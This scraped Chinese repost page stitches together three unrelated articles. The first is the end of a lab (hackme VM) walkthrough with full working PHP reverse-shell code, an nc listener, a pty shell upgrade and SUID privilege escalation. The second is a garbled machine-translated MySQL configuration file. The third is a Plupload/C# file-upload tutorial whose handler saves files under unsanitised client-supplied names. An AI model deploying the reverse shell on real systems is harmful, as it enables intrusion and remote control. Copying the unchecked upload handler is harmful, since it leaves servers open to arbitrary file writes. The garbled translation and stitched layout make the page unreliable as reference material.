== -1) {printit("Error: Can't setsid()");exit(1);}$daemon = 1;} else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}// Change to a safe directorychdir("/");// Remove any umask we inheritedumask(0);//// Do the reverse shell...//// Open reverse connection$sock = fsockopen($ip, $port, $errno, $errstr, 30);if (!$sock) {printit("$errstr ($errno)");exit(1);}// Spawn shell process$descriptorspec = array(0 => array("pipe", "r"), // stdin is a pipe that the child will read from1 => array("pipe", "w"), // stdout is a pipe that the child will write to2 => array("pipe", "w") // stderr is a pipe that the child will write to);$process = proc_open($shell, $descriptorspec, $pipes);if (!is_resource($process)) {printit("ERROR: Can't spawn shell");exit(1);}// Set everything to non-blocking// Reason: Occsionally reads will block, even though stream_select tells us they won'tstream_set_blocking($pipes[0], 0);stream_set_blocking($pipes[1], 0);stream_set_blocking($pipes[2], 0);stream_set_blocking($sock, 0);printit("Successfully opened reverse shell to $ip:$port");while (1) {// Check for end of TCP connectionif (feof($sock)) {printit("ERROR: Shell connection terminated");break;}// Check for end of STDOUTif (feof($pipes[1])) {printit("ERROR: Shell process terminated");break;}// Wait until a command is end down $sock, or some// command output is available on STDOUT or STDERR$read_a = array($sock, $pipes[1], $pipes[2]);$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);// If we can read from the TCP socket, send// data to process's STDINif (in_array($sock, $read_a)) {if ($debug) printit("SOCK READ");$input = fread($sock, $chunk_size);if ($debug) printit("SOCK: $input");fwrite($pipes[0], $input);}// If we can read from the process's STDOUT// send data down tcp connectionif (in_array($pipes[1], $read_a)) {if ($debug) printit("STDOUT READ");$input = fread($pipes[1], $chunk_size);if ($debug) printit("STDOUT: $input");fwrite($sock, $input);}// If we can read from the process's STDERR// send data down tcp connectionif (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");$input = fread($pipes[2], $chunk_size);if ($debug) printit("STDERR: $input");fwrite($sock, $input);} }fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);// Like print, but does nothing if we've daemonised ourself// (I can't figure out how to redirect STDOUT like a proper daemon)function printit ($string) {if (!$daemon) {print "$string\n";} }?> [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RhgS5l2a-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173559344.png)] 上传该文件 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CKEldpll-1650016495549)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110173801442.png)] 在 kali 监听:nc -lvp 6666 访问后门文件:http://192.168.184.149/php-reverse-shell.php 不成功 尝试加上传文件夹:http://192.168.184.149/uploads/php-reverse-shell.php 成功访问 使用 python 切换为 bash:python3 -c 'import pty; pty.spawn("/bin/bash")' 2.4权限提升 2.4.1 SUID 提权 sudo -l不顶用了,换个方法 查询 suid 权限程序: find / -perm -u=s -type f 2>/dev/null www-data@hackme:/$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/snap/core20/1270/usr/bin/chfn/snap/core20/1270/usr/bin/chsh/snap/core20/1270/usr/bin/gpasswd/snap/core20/1270/usr/bin/mount/snap/core20/1270/usr/bin/newgrp/snap/core20/1270/usr/bin/passwd/snap/core20/1270/usr/bin/su/snap/core20/1270/usr/bin/sudo/snap/core20/1270/usr/bin/umount/snap/core20/1270/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core20/1270/usr/lib/openssh/ssh-keysign/snap/core/6531/bin/mount/snap/core/6531/bin/ping/snap/core/6531/bin/ping6/snap/core/6531/bin/su/snap/core/6531/bin/umount/snap/core/6531/usr/bin/chfn/snap/core/6531/usr/bin/chsh/snap/core/6531/usr/bin/gpasswd/snap/core/6531/usr/bin/newgrp/snap/core/6531/usr/bin/passwd/snap/core/6531/usr/bin/sudo/snap/core/6531/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/6531/usr/lib/openssh/ssh-keysign/snap/core/6531/usr/lib/snapd/snap-confine/snap/core/6531/usr/sbin/pppd/snap/core/5662/bin/mount/snap/core/5662/bin/ping/snap/core/5662/bin/ping6/snap/core/5662/bin/su/snap/core/5662/bin/umount/snap/core/5662/usr/bin/chfn/snap/core/5662/usr/bin/chsh/snap/core/5662/usr/bin/gpasswd/snap/core/5662/usr/bin/newgrp/snap/core/5662/usr/bin/passwd/snap/core/5662/usr/bin/sudo/snap/core/5662/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/5662/usr/lib/openssh/ssh-keysign/snap/core/5662/usr/lib/snapd/snap-confine/snap/core/5662/usr/sbin/pppd/snap/core/11993/bin/mount/snap/core/11993/bin/ping/snap/core/11993/bin/ping6/snap/core/11993/bin/su/snap/core/11993/bin/umount/snap/core/11993/usr/bin/chfn/snap/core/11993/usr/bin/chsh/snap/core/11993/usr/bin/gpasswd/snap/core/11993/usr/bin/newgrp/snap/core/11993/usr/bin/passwd/snap/core/11993/usr/bin/sudo/snap/core/11993/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/11993/usr/lib/openssh/ssh-keysign/snap/core/11993/usr/lib/snapd/snap-confine/snap/core/11993/usr/sbin/pppd/usr/lib/eject/dmcrypt-get-device/usr/lib/openssh/ssh-keysign/usr/lib/snapd/snap-confine/usr/lib/policykit-1/polkit-agent-helper-1/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/bin/pkexec/usr/bin/traceroute6.iputils/usr/bin/passwd/usr/bin/chsh/usr/bin/chfn/usr/bin/gpasswd/usr/bin/at/usr/bin/newgrp/usr/bin/sudo/home/legacy/touchmenot/bin/mount/bin/umount/bin/ping/bin/ntfs-3g/bin/su/bin/fusermount 发现一个可疑文件/home/legacy/touchmenot 在 https://gtfobins.github.io/网站上查询:touchmenot 没找到 尝试运行程序:发现直接提权成功 [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qcpXI6zZ-1650016495551)(https://cdn.jsdelivr.net/gh/hirak0/Typora/img/image-20220110174530827.png)] 找半天没找到flag的文件 what?就这? 总结 本节使用的工具和漏洞比较基础,涉及 SQL 注入漏洞和文件上传漏洞 sql 注入工具:sqlmap 抓包工具:burpsuite Webshell 后门:kali 内置后门 Suid 提权:touchmenot 提权 本篇文章为转载内容。原文链接:https://blog.csdn.net/Perpetual_Blue/article/details/124200651。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-02 12:50:54
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...务器读取配置文件,请使用启动选项“——default -file”。 To run the server from the command line, execute this in a command line shell, e.g. mysqld --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要从命令行运行服务器,请在命令行shell中执行,例如mysqld——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" To install the server as a Windows service manually, execute this in a command line shell, e.g. mysqld --install MySQLXY --defaults-file="C:\Program Files\MySQL\MySQL Server X.Y\my.ini" 要手动将服务器安装为Windows服务,请在命令行shell中执行此操作,例如mysqld——install MySQLXY——default -file="C:\Program Files\MySQL\MySQL server X.Y\my.ini" And then execute this in a command line shell to start the server, e.g. net start MySQLXY 然后在命令行shell中执行这个命令来启动服务器,例如net start MySQLXY Guidelines for editing this file编辑此文件的指南 ---------------------------------------------------------------------- In this file, you can use all long options that the program supports. If you want to know the options a program supports, start the program with the "--help" option. 在这个文件中,您可以使用程序支持的所有长选项。如果您想知道程序支持的选项,请使用“——help”选项启动程序。 More detailed information about the individual options can also be found in the manual. For advice on how to change settings please see https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html 有关各个选项的更详细信息也可以在手册中找到。有关如何更改设置的建议,请参见https://dev.mysql.com/doc/refman/8.0/en/server-configuration-defaults.html CLIENT SECTION 客户端部分 ---------------------------------------------------------------------- The following options will be read by MySQL client applications. Note that only client applications shipped by MySQL are guaranteed to read this section. If you want your own MySQL client program to honor these values, you need to specify it as an option during the MySQL client library initialization. MySQL客户机应用程序将读取以下选项。注意,只有MySQL提供的客户端应用程序才能阅读本节。如果您希望自己的MySQL客户机程序遵守这些值,您需要在初始化MySQL客户机库时将其指定为一个选项。 [client] pipe= socket=MYSQL port=3306 [mysql] no-beep default-character-set= SERVER SECTION 服务器部分 ---------------------------------------------------------------------- The following options will be read by the MySQL Server. Make sure that you have installed the server correctly (see above) so it reads this file. MySQL服务器将读取以下选项。确保您已经正确安装了服务器(参见上面),以便它读取这个文件。 server_type=3 [mysqld] The next three options are mutually exclusive to SERVER_PORT below. 下面的三个选项对SERVER_PORT是互斥的。skip-networking enable-named-pipe 共享内存 skip-networking enable-named-pipe shared-memory shared-memory-base-name=MYSQL The Pipe the MySQL Server will use socket=MYSQL The TCP/IP Port the MySQL Server will listen on port=3306 Path to installation directory. All paths are usually resolved relative to this. basedir="C:/Program Files/MySQL/MySQL Server 8.0/" Path to the database root datadir=C:/ProgramData/MySQL/MySQL Server 8.0/Data The default character set that will be used when a new schema or table is created and no character set is defined 创建新模式或表时使用的默认字符集,并且没有定义字符集 character-set-server= The default authentication plugin to be used when connecting to the server 连接到服务器时使用的默认身份验证插件 default_authentication_plugin=caching_sha2_password The default storage engine that will be used when create new tables when 当创建新表时将使用的默认存储引擎 default-storage-engine=INNODB Set the SQL mode to strict 将SQL模式设置为strict sql-mode="STRICT_TRANS_TABLES,NO_ENGINE_SUBSTITUTION" General and Slow logging. 一般和缓慢的日志。 log-output=NONE general-log=0 general_log_file="DESKTOP-NF9QETB.log" slow-query-log=0 slow_query_log_file="DESKTOP-NF9QETB-slow.log" long_query_time=10 Binary Logging. 二进制日志。 log-bin Error Logging. 错误日志记录。 log-error="DESKTOP-NF9QETB.err" Server Id. server-id=1 Indicates how table and database names are stored on disk and used in MySQL. 指示表名和数据库名如何存储在磁盘上并在MySQL中使用。 Value = 0: Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement. Name comparisons are case sensitive. You should not set this variable to 0 if you are running MySQL on a system that has case-insensitive file names (such as Windows or macOS). Value = 0:表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上。名称比较区分大小写。如果您在一个具有不区分大小写文件名(如Windows或macOS)的系统上运行MySQL,则不应将该变量设置为0。 Value = 1: Table names are stored in lowercase on disk and name comparisons are not case-sensitive. MySQL converts all table names to lowercase on storage and lookup. This behavior also applies to database names and table aliases. 表名以小写存储在磁盘上,并且名称比较不区分大小写。MySQL在存储和查找时将所有表名转换为小写。此行为也适用于数据库名称和表别名。 Value = 3, Table and database names are stored on disk using the lettercase specified in the CREATE TABLE or CREATE DATABASE statement, but MySQL converts them to lowercase on lookup. Name comparisons are not case sensitive. This works only on file systems that are not case-sensitive! InnoDB table names and view names are stored in lowercase, as for Value = 1.表名和数据库名使用CREATE Table或CREATE database语句中指定的lettercase存储在磁盘上,但是MySQL在查找时将它们转换为小写。名称比较不区分大小写。这只适用于不区分大小写的文件系统!InnoDB表名和视图名以小写存储,Value = 1。 NOTE: lower_case_table_names can only be configured when initializing the server. Changing the lower_case_table_names setting after the server is initialized is prohibited. lower_case_table_names=1 Secure File Priv. 权限安全文件 secure-file-priv="C:/ProgramData/MySQL/MySQL Server 8.0/Uploads" The maximum amount of concurrent sessions the MySQL server will allow. One of these connections will be reserved for a user with SUPER privileges to allow the administrator to login even if the connection limit has been reached. MySQL服务器允许的最大并发会话量。这些连接中的一个将保留给具有超级特权的用户,以便允许管理员登录,即使已经达到连接限制。 max_connections=151 The number of open tables for all threads. Increasing this value increases the number of file descriptors that mysqld requires. Therefore you have to make sure to set the amount of open files allowed to at least 4096 in the variable "open-files-limit" in 为所有线程打开的表的数量。增加这个值会增加mysqld需要的文件描述符的数量。因此,您必须确保在[mysqld_safe]节中的变量“open-files-limit”中将允许打开的文件数量至少设置为4096 section [mysqld_safe] table_open_cache=2000 Maximum size for internal (in-memory) temporary tables. If a table grows larger than this value, it is automatically converted to disk based table This limitation is for a single table. There can be many of them. 内部(内存)临时表的最大大小。如果一个表比这个值大,那么它将自动转换为基于磁盘的表。可以有很多。 tmp_table_size=94M How many threads we should keep in a cache for reuse. When a client disconnects, the client's threads are put in the cache if there aren't more than thread_cache_size threads from before. This greatly reduces the amount of thread creations needed if you have a lot of new connections. (Normally this doesn't give a notable performance improvement if you have a good thread implementation.) 我们应该在缓存中保留多少线程以供重用。当客户机断开连接时,如果之前的线程数不超过thread_cache_size,则将客户机的线程放入缓存。如果您有很多新连接,这将大大减少所需的线程创建量(通常,如果您有一个良好的线程实现,这不会带来显著的性能改进)。 thread_cache_size=10 MyISAM Specific options The maximum size of the temporary file MySQL is allowed to use while recreating the index (during REPAIR, ALTER TABLE or LOAD DATA INFILE. If the file-size would be bigger than this, the index will be created through the key cache (which is slower). MySQL允许在重新创建索引时(在修复、修改表或加载数据时)使用临时文件的最大大小。如果文件大小大于这个值,那么索引将通过键缓存创建(这比较慢)。 myisam_max_sort_file_size=100G If the temporary file used for fast index creation would be bigger than using the key cache by the amount specified here, then prefer the key cache method. This is mainly used to force long character keys in large tables to use the slower key cache method to create the index. myisam_sort_buffer_size=179M Size of the Key Buffer, used to cache index blocks for MyISAM tables. Do not set it larger than 30% of your available memory, as some memory is also required by the OS to cache rows. Even if you're not using MyISAM tables, you should still set it to 8-64M as it will also be used for internal temporary disk tables. 如果用于快速创建索引的临时文件比这里指定的使用键缓存的文件大,则首选键缓存方法。这主要用于强制大型表中的长字符键使用较慢的键缓存方法来创建索引。 key_buffer_size=8M Size of the buffer used for doing full table scans of MyISAM tables. Allocated per thread, if a full scan is needed. 用于对MyISAM表执行全表扫描的缓冲区的大小。如果需要完整的扫描,则为每个线程分配。 read_buffer_size=256K read_rnd_buffer_size=512K INNODB Specific options INNODB特定选项 innodb_data_home_dir= Use this option if you have a MySQL server with InnoDB support enabled but you do not plan to use it. This will save memory and disk space and speed up some things. 如果您启用了一个支持InnoDB的MySQL服务器,但是您不打算使用它,那么可以使用这个选项。这将节省内存和磁盘空间,并加快一些事情。skip-innodb skip-innodb If set to 1, InnoDB will flush (fsync) the transaction logs to the disk at each commit, which offers full ACID behavior. If you are willing to compromise this safety, and you are running small transactions, you may set this to 0 or 2 to reduce disk I/O to the logs. Value 0 means that the log is only written to the log file and the log file flushed to disk approximately once per second. Value 2 means the log is written to the log file at each commit, but the log file is only flushed to disk approximately once per second. 如果设置为1,InnoDB将在每次提交时将事务日志刷新(fsync)到磁盘,这将提供完整的ACID行为。如果您愿意牺牲这种安全性,并且正在运行小型事务,您可以将其设置为0或2,以将磁盘I/O减少到日志。值0表示日志仅写入日志文件,日志文件大约每秒刷新一次磁盘。值2表示日志在每次提交时写入日志文件,但是日志文件大约每秒只刷新一次磁盘。 innodb_flush_log_at_trx_commit=1 The size of the buffer InnoDB uses for buffering log data. As soon as it is full, InnoDB will have to flush it to disk. As it is flushed once per second anyway, it does not make sense to have it very large (even with long transactions).InnoDB用于缓冲日志数据的缓冲区大小。一旦它满了,InnoDB就必须将它刷新到磁盘。由于它无论如何每秒刷新一次,所以将它设置为非常大的值是没有意义的(即使是长事务)。 innodb_log_buffer_size=5M InnoDB, unlike MyISAM, uses a buffer pool to cache both indexes and row data. The bigger you set this the less disk I/O is needed to access data in tables. On a dedicated database server you may set this parameter up to 80% of the machine physical memory size. Do not set it too large, though, because competition of the physical memory may cause paging in the operating system. Note that on 32bit systems you might be limited to 2-3.5G of user level memory per process, so do not set it too high. 与MyISAM不同,InnoDB使用缓冲池来缓存索引和行数据。设置的值越大,访问表中的数据所需的磁盘I/O就越少。在专用数据库服务器上,可以将该参数设置为机器物理内存大小的80%。但是,不要将它设置得太大,因为物理内存的竞争可能会导致操作系统中的分页。注意,在32位系统上,每个进程的用户级内存可能被限制在2-3.5G,所以不要设置得太高。 innodb_buffer_pool_size=20M Size of each log file in a log group. You should set the combined size of log files to about 25%-100% of your buffer pool size to avoid unneeded buffer pool flush activity on log file overwrite. However, note that a larger logfile size will increase the time needed for the recovery process. 日志组中每个日志文件的大小。您应该将日志文件的合并大小设置为缓冲池大小的25%-100%,以避免在覆盖日志文件时出现不必要的缓冲池刷新活动。但是,请注意,较大的日志文件大小将增加恢复过程所需的时间。 innodb_log_file_size=48M Number of threads allowed inside the InnoDB kernel. The optimal value depends highly on the application, hardware as well as the OS scheduler properties. A too high value may lead to thread thrashing. InnoDB内核中允许的线程数。最优值在很大程度上取决于应用程序、硬件以及OS调度程序属性。过高的值可能导致线程抖动。 innodb_thread_concurrency=9 The increment size (in MB) for extending the size of an auto-extend InnoDB system tablespace file when it becomes full. 增量大小(以MB为单位),用于在表空间满时扩展自动扩展的InnoDB系统表空间文件的大小。 innodb_autoextend_increment=128 The number of regions that the InnoDB buffer pool is divided into. For systems with buffer pools in the multi-gigabyte range, dividing the buffer pool into separate instances can improve concurrency, by reducing contention as different threads read and write to cached pages. InnoDB缓冲池划分的区域数。对于具有多gb缓冲池的系统,将缓冲池划分为单独的实例可以提高并发性,因为不同的线程对缓存页面的读写会减少争用。 innodb_buffer_pool_instances=8 Determines the number of threads that can enter InnoDB concurrently. 确定可以同时进入InnoDB的线程数 innodb_concurrency_tickets=5000 Specifies how long in milliseconds (ms) a block inserted into the old sublist must stay there after its first access before it can be moved to the new sublist. 指定插入到旧子列表中的块必须在第一次访问之后停留多长时间(毫秒),然后才能移动到新子列表。 innodb_old_blocks_time=1000 It specifies the maximum number of .ibd files that MySQL can keep open at one time. The minimum value is 10. 它指定MySQL一次可以打开的.ibd文件的最大数量。最小值是10。 innodb_open_files=300 When this variable is enabled, InnoDB updates statistics during metadata statements. 当启用此变量时,InnoDB会在元数据语句期间更新统计信息。 innodb_stats_on_metadata=0 When innodb_file_per_table is enabled (the default in 5.6.6 and higher), InnoDB stores the data and indexes for each newly created table in a separate .ibd file, rather than in the system tablespace. 当启用innodb_file_per_table(5.6.6或更高版本的默认值)时,InnoDB将每个新创建的表的数据和索引存储在单独的.ibd文件中,而不是系统表空间中。 innodb_file_per_table=1 Use the following list of values: 0 for crc32, 1 for strict_crc32, 2 for innodb, 3 for strict_innodb, 4 for none, 5 for strict_none. 使用以下值列表:0表示crc32, 1表示strict_crc32, 2表示innodb, 3表示strict_innodb, 4表示none, 5表示strict_none。 innodb_checksum_algorithm=0 The number of outstanding connection requests MySQL can have. This option is useful when the main MySQL thread gets many connection requests in a very short time. It then takes some time (although very little) for the main thread to check the connection and start a new thread. The back_log value indicates how many requests can be stacked during this short time before MySQL momentarily stops answering new requests. You need to increase this only if you expect a large number of connections in a short period of time. MySQL可以有多少未完成连接请求。当MySQL主线程在很短的时间内收到许多连接请求时,这个选项非常有用。然后,主线程需要一些时间(尽管很少)来检查连接并启动一个新线程。back_log值表示在MySQL暂时停止响应新请求之前的短时间内可以堆多少个请求。只有当您预期在短时间内会有大量连接时,才需要增加这个值。 back_log=80 If this is set to a nonzero value, all tables are closed every flush_time seconds to free up resources and synchronize unflushed data to disk. This option is best used only on systems with minimal resources. 如果将该值设置为非零值,则每隔flush_time秒关闭所有表,以释放资源并将未刷新的数据同步到磁盘。这个选项最好只在资源最少的系统上使用。 flush_time=0 The minimum size of the buffer that is used for plain index scans, range index scans, and joins that do not use 用于普通索引扫描、范围索引扫描和不使用索引执行全表扫描的连接的缓冲区的最小大小。 indexes and thus perform full table scans. join_buffer_size=200M The maximum size of one packet or any generated or intermediate string, or any parameter sent by the mysql_stmt_send_long_data() C API function. 由mysql_stmt_send_long_data() C API函数发送的一个包或任何生成的或中间字符串或任何参数的最大大小 max_allowed_packet=500M If more than this many successive connection requests from a host are interrupted without a successful connection, the server blocks that host from performing further connections. 如果在没有成功连接的情况下中断了来自主机的多个连续连接请求,则服务器将阻止主机执行进一步的连接。 max_connect_errors=100 Changes the number of file descriptors available to mysqld. You should try increasing the value of this option if mysqld gives you the error "Too many open files". 更改mysqld可用的文件描述符的数量。如果mysqld给您的错误是“打开的文件太多”,您应该尝试增加这个选项的值。 open_files_limit=4161 If you see many sort_merge_passes per second in SHOW GLOBAL STATUS output, you can consider increasing the sort_buffer_size value to speed up ORDER BY or GROUP BY operations that cannot be improved with query optimization or improved indexing. 如果在SHOW GLOBAL STATUS输出中每秒看到许多sort_merge_passes,可以考虑增加sort_buffer_size值,以加快ORDER BY或GROUP BY操作的速度,这些操作无法通过查询优化或改进索引来改进。 sort_buffer_size=1M The number of table definitions (from .frm files) that can be stored in the definition cache. If you use a large number of tables, you can create a large table definition cache to speed up opening of tables. The table definition cache takes less space and does not use file descriptors, unlike the normal table cache. The minimum and default values are both 400. 可以存储在定义缓存中的表定义的数量(来自.frm文件)。如果使用大量表,可以创建一个大型表定义缓存来加速表的打开。与普通的表缓存不同,表定义缓存占用更少的空间,并且不使用文件描述符。最小值和默认值都是400。 table_definition_cache=1400 Specify the maximum size of a row-based binary log event, in bytes. Rows are grouped into events smaller than this size if possible. The value should be a multiple of 256. 指定基于行的二进制日志事件的最大大小,单位为字节。如果可能,将行分组为小于此大小的事件。这个值应该是256的倍数。 binlog_row_event_max_size=8K If the value of this variable is greater than 0, a replication slave synchronizes its master.info file to disk. (using fdatasync()) after every sync_master_info events. 如果该变量的值大于0,则复制奴隶将其主.info文件同步到磁盘。(在每个sync_master_info事件之后使用fdatasync())。 sync_master_info=10000 If the value of this variable is greater than 0, the MySQL server synchronizes its relay log to disk. (using fdatasync()) after every sync_relay_log writes to the relay log. 如果这个变量的值大于0,MySQL服务器将其中继日志同步到磁盘。(在每个sync_relay_log写入到中继日志之后使用fdatasync())。 sync_relay_log=10000 If the value of this variable is greater than 0, a replication slave synchronizes its relay-log.info file to disk. (using fdatasync()) after every sync_relay_log_info transactions. 如果该变量的值大于0,则复制奴隶将其中继日志.info文件同步到磁盘。(在每个sync_relay_log_info事务之后使用fdatasync())。 sync_relay_log_info=10000 Load mysql plugins at start."plugin_x ; plugin_y". 开始时加载mysql插件。“plugin_x;plugin_y” plugin_load The TCP/IP Port the MySQL Server X Protocol will listen on. MySQL服务器X协议将监听TCP/IP端口。 loose_mysqlx_port=33060 本篇文章为转载内容。原文链接:https://blog.csdn.net/mywpython/article/details/89499852。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-10-08 09:56:02
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...t技术,如果支持,就使用检测到的技术。 那么这个库到哪里下载,怎么搭建呢,比较懒的童鞋还是用Install-Package Plupload搞定吧,一个命令搞定所有事 Plupload支持的功能这里就不细说了,什么批量上传,这里我没有用到,主要是感觉它支持的事件非常丰富,文件选取后的事件,文件上传中的事件(可获得文件的上传进度),文件上传成功的事件,文件上传失败的事件,等等 我的例子主要是上传一个单个文件,并显示上传的进度条(使用jQuery的一个进度条插件) 下面的例子主要是为文件上传交给 UploadCoursePackage.ashx 来处理 /ProgressBar/ var progressBar = $("loading").progressbar({ width: '500px', color: 'B3240E', border: '1px solid 000000' }); /Plupload/ //实例化一个plupload上传对象 var uploader = new plupload.Uploader({ browse_button: 'browse', //触发文件选择对话框的按钮,为那个元素id runtimes: 'html5,flash,silverlight,html4',//兼容的上传方式 url: "Handlers/UploadCoursePackage.ashx", //后端交互处理地址 max_retries: 3, //允许重试次数 chunk_size: '10mb', //分块大小 rename: true, //重命名 dragdrop: false, //允许拖拽文件进行上传 unique_names: true, //文件名称唯一性 filters: { //过滤器 max_file_size: '999999999mb', //文件最大尺寸 mime_types: [ //允许上传的文件类型 { title: "Zip", extensions: "zip" }, { title: "PE", extensions: "pe" } ] }, //自定义参数 (键值对形式) 此处可以定义参数 multipart_params: { type: "misoft" }, // FLASH的配置 flash_swf_url: "../Scripts/plupload/Moxie.swf", // Silverligh的配置 silverlight_xap_url: "../Scripts/plupload/Moxie.xap", multi_selection: false //true:ctrl多文件上传, false 单文件上传 }); //在实例对象上调用init()方法进行初始化 uploader.init(); uploader.bind('FilesAdded', function (uploader, files) { $("<%=fileSource.ClientID %>").val(files[0].name); $.ajax( { type: 'post', url: 'HardDiskSpace.aspx/GetHardDiskFreeSpace', data: {}, dataType: 'json', contentType: 'application/json;charset=utf-8', success: function (result) { //选择文件以后检测服务器剩余磁盘空间是否够用 if (files.length > 0) { if (parseInt(files[0].size) > parseInt(result.d)) { $('error-msg').text("文件容量大于剩余磁盘空间,请联系管理员!"); } else { $('error-msg').text(""); } } }, error: function (xhr, err, obj) { $('error-msg').text("检测服务器剩余磁盘空间失败"); } }); }); uploader.bind('UploadProgress', function (uploader, file) { var percent = file.percent; progressBar.progress(percent); }); uploader.bind('FileUploaded', function (up, file, callBack) { var data = $.parseJSON(callBack.response); if (data.statusCode === "1") { $("<%=hfPackagePath.ClientID %>").val(data.filePath); var id = $("<%=hfCourseID.ClientID %>").val(); __doPostBack("save", id); } else { hideLoading(); $('error-msg').text(data.message); } }); uploader.bind('Error', function (up, err) { alert("文件上传失败,错误信息: " + err.message); }); /Plupload/ 后台 UploadCoursePackage.ashx 的代码也重要,主要是文件分片跟不分片的处理方式不一样 using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.IO; namespace WebUI.Handlers { /// <summary> /// UploadCoursePackage 的摘要说明 /// </summary> public class UploadCoursePackage : IHttpHandler { public void ProcessRequest(HttpContext context) { context.Response.ContentType = "text/plain"; int statuscode = 1; string message = string.Empty; string filepath = string.Empty; if (context.Request.Files.Count > 0) { try { string resourceDirectoryName = System.Configuration.ConfigurationManager.AppSettings["resourceDirectory"]; string path = context.Server.MapPath("~/" + resourceDirectoryName); if (!Directory.Exists(path)) Directory.CreateDirectory(path); int chunk = context.Request.Params["chunk"] != null ? int.Parse(context.Request.Params["chunk"]) : 0; //获取当前的块ID,如果不是分块上传的。chunk则为0 string fileName = context.Request.Params["name"]; //这里写的比较潦草。判断文件名是否为空。 string type = context.Request.Params["type"]; //在前面JS中不是定义了自定义参数multipart_params的值么。其中有个值是type:"misoft",此处就可以获取到这个值了。获取到的type="misoft"; string ext = Path.GetExtension(fileName); //fileName = string.Format("{0}{1}", Guid.NewGuid().ToString(), ext); filepath = resourceDirectoryName + "/" + fileName; fileName = Path.Combine(path, fileName); //对文件流进行存储 需要注意的是 files目录必须存在(此处可以做个判断) 根据上面的chunk来判断是块上传还是普通上传 上传方式不一样 ,导致的保存方式也会不一样 FileStream fs = new FileStream(fileName, chunk == 0 ? FileMode.OpenOrCreate : FileMode.Append); //write our input stream to a buffer Byte[] buffer = null; if (context.Request.ContentType == "application/octet-stream" && context.Request.ContentLength > 0) { buffer = new Byte[context.Request.InputStream.Length]; context.Request.InputStream.Read(buffer, 0, buffer.Length); } else if (context.Request.ContentType.Contains("multipart/form-data") && context.Request.Files.Count > 0 && context.Request.Files[0].ContentLength > 0) { buffer = new Byte[context.Request.Files[0].InputStream.Length]; context.Request.Files[0].InputStream.Read(buffer, 0, buffer.Length); } //write the buffer to a file. if (buffer != null) fs.Write(buffer, 0, buffer.Length); fs.Close(); statuscode = 1; message = "上传成功"; } catch (Exception ex) { statuscode = -1001; message = "保存时发生错误,请确保文件有效且格式正确"; Util.LogHelper logger = new Util.LogHelper(); string path = context.Server.MapPath("~/Logs"); logger.WriteLog(ex.Message, path); } } else { statuscode = -404; message = "上传失败,未接收到资源文件"; } string msg = "{\"statusCode\":\"" + statuscode + "\",\"message\":\"" + message + "\",\"filePath\":\"" + filepath + "\"}"; context.Response.Write(msg); } public bool IsReusable { get { return false; } } } } 再附送一个检测服务器端硬盘剩余空间的功能吧 using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Web; using System.Web.Script.Services; using System.Web.Services; using System.Web.UI; using System.Web.UI.WebControls; namespace WebUI { public partial class CheckHardDiskFreeSpace : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { } /// <summary> /// 获取磁盘剩余容量 /// </summary> /// <returns></returns> [WebMethod] public static string GetHardDiskFreeSpace() { const string strHardDiskName = @"F:\"; var freeSpace = string.Empty; var drives = DriveInfo.GetDrives(); var myDrive = (from drive in drives where drive.Name == strHardDiskName select drive).FirstOrDefault(); if (myDrive != null) { freeSpace = myDrive.TotalFreeSpace+""; } return freeSpace; } } } 效果展示: 详细配置信息可以参考这篇文章:http://blog.ncmem.com/wordpress/2019/08/12/plupload%e4%b8%8a%e4%bc%a0%e6%95%b4%e4%b8%aa%e6%96%87%e4%bb%b6%e5%a4%b9-2/ 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_45525177/article/details/100654639。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-12-19 09:43:46
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Python
